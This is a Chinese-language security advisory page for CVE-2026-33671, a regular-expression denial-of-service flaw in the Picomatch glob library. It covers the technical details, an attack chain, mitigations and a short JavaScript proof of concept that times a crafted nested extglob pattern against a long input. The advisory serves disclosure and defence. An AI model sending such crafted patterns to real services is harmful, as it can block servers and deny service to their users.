IPBUF安全漏洞报告
English
CVE-2026-33671 CVSS 7.5 高危

CVE-2026-33671 Picomatch正则表达式拒绝服务漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33671
漏洞类型
正则表达式拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Picomatch

相关标签

ReDoSDoSPicomatchJavaScriptNode.jsCVE-2026-33671

漏洞概述

Picomatch是一个JavaScript编写的全局匹配器。在4.0.4、3.0.2和2.3.2之前的版本中,存在正则表达式拒绝服务漏洞。当处理精心构造的extglob模式时,特别是涉及`+()`和`*()`等量词并结合嵌套或重叠条件时,会导致正则表达式编译出现灾难性回溯。攻击者可利用此漏洞通过不受信任的输入消耗大量CPU资源,阻塞Node.js事件循环,从而造成拒绝服务攻击。

技术细节

该漏洞的核心在于Picomatch库在解析特定extglob语法时的正则表达式转换逻辑缺陷。当glob模式包含如`+()`(一个或多个)和`*()`(零个或多个)等量词,并且这些量词应用于复杂的嵌套结构或重叠的匹配分支时,生成的正则表达式在处理非匹配输入时会发生“灾难性回溯”。这意味着正则引擎会尝试指数级数量的匹配路径组合以确认失败。由于Node.js基于单线程事件循环,这种计算密集型操作会长时间霸占CPU资源,导致事件循环被阻塞,无法处理其他并发请求。攻击者只需发送一段精心设计的恶意模式字符串,即可使服务器资源耗尽,从而实现拒绝服务攻击。受影响场景主要是允许用户自定义文件匹配规则的应用,如文件上传过滤、路由匹配等。

攻击链分析

STEP 1
侦察
攻击者寻找使用Picomatch库且允许用户输入glob模式(如文件过滤、路径匹配)的目标应用程序。
STEP 2
构造载荷
攻击者设计包含特定extglob量词(如`+()`、`*()`)和嵌套结构的恶意字符串,这些字符串会导致正则表达式引擎出现灾难性回溯。
STEP 3
发送请求
攻击者通过HTTP请求将恶意模式发送给目标应用程序的接口。
STEP 4
执行攻击
应用程序将用户输入传递给Picomatch进行编译和匹配。正则引擎尝试匹配输入,由于回溯机制,CPU使用率急剧上升。
STEP 5
达成影响
Node.js事件循环被长时间阻塞,导致服务器无法处理其他请求,最终引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const picomatch = require('picomatch'); // PoC demonstrating ReDoS with crafted extglob pattern // Based on the vulnerability description regarding extglob quantifiers // 1. Define a malicious pattern using nested extglob quantifiers // This pattern structure triggers catastrophic backtracking const maliciousPattern = '@(+a|+b)*'; // 2. Initialize the matcher function const isMatch = picomatch(maliciousPattern); // 3. Prepare input that causes the engine to work hard (non-matching) // A long string of 'a's followed by a character that breaks the match const payload = 'a'.repeat(30) + '!'; console.log('Starting ReDoS test...'); const startTime = Date.now(); try { // 4. Execute the match const result = isMatch(payload); const duration = Date.now() - startTime; console.log(`Match Result: ${result}`); console.log(`Execution Time: ${duration}ms`); if (duration > 1000) { console.log('Vulnerability Confirmed: High CPU consumption detected.'); } else { console.log('Pattern did not trigger significant delay in this environment.'); } } catch (error) { console.error('Error during execution:', error); }

影响范围

Picomatch < 4.0.4
Picomatch < 3.0.2
Picomatch < 2.3.2

防御指南

临时缓解措施
如果无法立即升级,建议采取以下临时缓解措施:1. 使用`noextglob: true`配置禁用extglob功能,防止解析复杂的扩展模式;2. 实施严格的输入过滤,拒绝包含嵌套extglobs或`+()`、`*()`等量词的模式;3. 将文件匹配操作放入独立的Worker进程或沙箱中执行,并设置CPU和超时限制;4. 在应用层面对相关接口增加速率限制,防止恶意请求频繁调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表